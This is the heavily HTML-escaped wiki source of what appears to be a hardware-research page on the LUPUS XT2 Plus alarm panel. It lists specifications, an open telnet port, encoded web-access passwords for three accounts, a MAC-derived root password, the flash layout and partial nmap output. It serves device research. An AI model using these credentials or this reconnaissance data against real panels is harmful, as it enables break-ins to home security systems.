&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Memory&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;DRAM: 64MB DRR (400MHz)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Storage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Flash: 32 MB (NAND)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ethernet MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;eth0: 00:1D:94:05:85:A7&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN SSID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN PSK&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Default IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;10.0.1.52/8&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hostname&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;HPGW-NET6&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;NET Protocols&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt; SSLv3 SHA-256bit with RSA-Encryption,&amp;lt;br&amp;gt;UPnP, FTP, Telnet,&amp;lt;br&amp;gt;ZBS v.2.9.2.6.1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Interfaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;uart0 (TQFP-176 chip provides no RX for UART2)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;55023 telnet (BusyBox telnetd),&amp;lt;br&amp;gt;443 ssl/https,&amp;lt;br&amp;gt;80 http (Mongoose) (Redirect to 443)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webpage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;https://192.168.0.128/action/login&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webaccess&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin: NDc2MTAzMj08NQ==&amp;lt;br&amp;gt;expert: YH11YHdxNDc2MQ==&amp;lt;br&amp;gt;user: cHZgdzQ3NjE==&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Root Password&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;H5jb2Qqy (Derived from MAC)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other Login Pw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;None&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Firmware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;0.0.2.19E&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hardware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;V1.0&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Baudrate&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;115200 (8N1) (MCU provides no RX pin for UART0!)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootdelay&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;1s (Space: Linux; ESC: U-Boot; .: Burn-In)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;U-Boot&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;  Yes, but no way to access it via UART0.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;mtdparts&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;dev: size erasesize name &amp;lt;br&amp;gt;mtd0: 007f0000 00010000 &amp;quot;Linux Section&amp;quot; &amp;lt;br&amp;gt;mtd1: 00720000 00010000 &amp;quot;User Section&amp;quot; &amp;lt;br&amp;gt;mtd2: ffff6000 00010000 &amp;quot;Loader Section&amp;quot; &amp;lt;br&amp;gt;mtd3: 0009a000 00010000 &amp;quot;BurnIn Section&amp;quot; &amp;lt;br&amp;gt;mtd4: 00020000 00010000 &amp;quot;UBoot Section&amp;quot; &amp;lt;br&amp;gt;mtd5: 00020000 00010000 &amp;quot;CFG Section&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Filesystem&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;JFFS2 version 2.2. (NAND) (mtd1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Image&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.28 (Feb 13 2018)&amp;lt;br&amp;gt;(engin@engin-desktop)&amp;lt;br&amp;gt;(gcc version 4.4.0)&amp;lt;br&amp;gt;(Faraday C/C++ Compiler)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Kernel cmdline&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;mem=64M&amp;lt;br&amp;gt;console=uart,shift,2,io,0xF9850000,115200&amp;lt;br&amp;gt;quiet&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Shell&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh / ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BusyBox&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.20.2 (2014-01-23) multi-call binary.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Services&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;telnetd,&amp;lt;br&amp;gt;kswapd v1.12c (20020818),&amp;lt;br&amp;gt;Mongoose 3.1 on port 80,443s,&amp;lt;br&amp;gt;udhcpc (v1.20.2),&amp;lt;br&amp;gt;climax,&amp;lt;br&amp;gt;hpgw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Network Mapper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;PORT      STATE SERVICE   VERSION&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;/tcp    open  http      Mongoose&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: transparent; background-color: white; overflow:auto; margin-top: -13px; margin-bottom: -13px;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;... more ...&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;| fingerprint-strings: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   FourOhFourRequest: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.1 404 Site or Page Not Found&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Content-Type: text/html&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Connection: close&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     &amp;lt;html&amp;gt;&lt;br /&gt;
|        &amp;lt;head&amp;gt;&lt;br /&gt;
|           &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text/html; charset=UTF-8&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; type=&amp;quot;text/css&amp;quot; href=&amp;quot;/css/main.css&amp;quot;/&amp;gt;&lt;br /&gt;
|           &amp;lt;title&amp;gt;Document Error: Site or Page Not Found&amp;lt;/title&amp;gt;&lt;br /&gt;
|        &amp;lt;/head&amp;gt;&lt;br /&gt;
|        &amp;lt;body&amp;gt;&lt;br /&gt;
|           &amp;lt;h2&amp;gt;Access Error: Site or Page Not Found&amp;lt;/h2&amp;gt;&lt;br /&gt;
|           &amp;lt;a href=&amp;quot;/index.htm&amp;quot; target=&amp;quot;_top&amp;quot;&amp;gt;Go to home&amp;lt;/a&amp;gt;&lt;br /&gt;
|        &amp;lt;/body&amp;gt;&lt;br /&gt;
|     &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|   GetRequest, HTTPOptions: &amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     HTTP/1.0 200 OK&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Server: Mongoose&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span&amp;gt;&amp;lt;nowiki&amp;gt;|     Pragma: no-cache&amp;lt;/nowiki&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
